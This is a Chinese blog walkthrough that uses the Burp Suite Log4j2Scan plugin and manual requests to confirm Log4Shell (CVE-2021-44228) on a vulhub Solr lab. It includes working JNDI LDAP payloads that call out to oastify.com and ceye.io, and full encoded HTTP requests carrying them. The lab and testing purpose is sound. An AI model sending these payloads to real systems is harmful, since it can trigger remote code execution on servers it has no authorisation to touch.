BurpSuite 插件 Log4j2Scan 使用和手动验证

文章目录

  • [1. 靶场简介](#1. 靶场简介)
  • [2. 手动注入](#2. 手动注入)
  • [3. BurpSuite 插件 Log4j2Scan](#3. BurpSuite 插件 Log4j2Scan)
    • [3.1 官方信息](#3.1 官方信息)
    • [3.2 使用步骤](#3.2 使用步骤)
    • [3.3 手工验证](#3.3 手工验证)

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

1. 靶场简介

https://github.com/vulhub/vulhub

如下图,vulhub 提供了 2 个 log4j 组件相关的靶场,分别是 CVE-2017-5645 和 CVE-2021-44228 版本的。

CVE-2017-5645 在这个靶场中是 TCP 请求触发的,本文针对 log4j2 的 CVE-2021-44228 漏洞用插件演示攻击。

访问 http://{目标IP}:8983/solr/#/ 进入如下页面:

2. 手动注入

官方已经提供详细步骤,不再赘述。

3. BurpSuite 插件 Log4j2Scan

3.1 官方信息

官方仓库:https://github.com/whwlsfb/Log4j2Scan

下载地址:https://github.com/whwlsfb/Log4j2Scan/releases/tag/dev-20230804T025448

3.2 使用步骤

通过 ceye.io 注册,获取个人的 identifier 和 API Token。

在插件中同步配置并启用。

代理访问:http://靶机IP:8983,插件自动扫描检测该漏洞,可以看到2个路径均存在 log4j2 的注入漏洞。

URL 参数 _ 存在 Log4j2 远程代码执行(RCE)漏洞,检测发送的请求中包含了 JNDI 注入的 payload:${jndi:ldap://1771219537907pnhtg.xxx.ceye.io/ziKO}

3.3 手工验证

使用 burpsuite 自带的 Collaborator 模块生成服务地址,接收 dns 信息。

构造/solr/admin/info/system请求,在_参数后面添加 payload:${jndi:ldap://do5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com/test},编码后如下:

shell 复制代码
GET /solr/admin/info/system?wt=json&_=%24%7bjndi%3aldap%3a%2f%2fdo5g9240z1ah7qqcrb0klrl26tck0ko9.oastify.com%2ftest%7d HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

burpsuite 也可以接收到 dnslog 。

请求/solr/admin/cores也同样可以构造 payload,请求也是成功的。

shell 复制代码
GET /solr/admin/cores?_=%24%7bjndi%3aldap%3a%2f%2fx1z0mmhkcln1ka3w4vd4ybymjdp4d61v.oastify.com%2ftest%7d&indexInfo=false&wt=json HTTP/1.1
Host: 192.168.10.11:8983
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Referer: http://192.168.10.11:8983/solr/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

PS:vulhub 这个靶场在 log4j2 发送多次 dns 请求时,有时可能由于网络或缓存原因会接收不到 DNS 请求;可以变化下 payload 或者通过命令重启下靶场即可

shell 复制代码
docker compose restart

同类型的 BurpSuite 插件可以参考:FastjsonScan

相关推荐
川石课堂软件测试7 小时前
零基础小白如何学习自动化测试
python·功能测试·学习·测试工具·jmeter·压力测试·harmonyos
川石课堂软件测试8 小时前
作为一名测试工程师如何学习Kubernetes(k8s)技能
学习·测试工具·容器·职场和发展·kubernetes·测试用例·harmonyos
Luminbox紫创测控9 小时前
太阳模拟器自动化测试系统:稳态、脉冲、闪光光源的控制与数据采集
人工智能·测试工具·测试标准
一氧化二氢.h9 小时前
图中元件的执行顺序
测试工具·jmeter
wb043072011 天前
厨房质检员——从阿明的“祖传配方“到标准化质检,看测试金字塔的落地
架构·log4j
我的xiaodoujiao1 天前
API 接口自动化测试详细图文教程学习系列24--如何用Pytest去设计接口测试用例并执行
python·学习·测试工具·pytest
我的xiaodoujiao1 天前
API 接口自动化测试详细图文教程学习系列23--结合Pytest框架使用4-前后置处理
python·学习·测试工具·pytest
川石课堂软件测试2 天前
使用mock进行接口测试教程
数据库·python·功能测试·测试工具·华为·单元测试·appium
程序员杰哥2 天前
接口自动化测试:多环境配置实战
自动化测试·软件测试·python·测试工具·职场和发展·测试用例·接口测试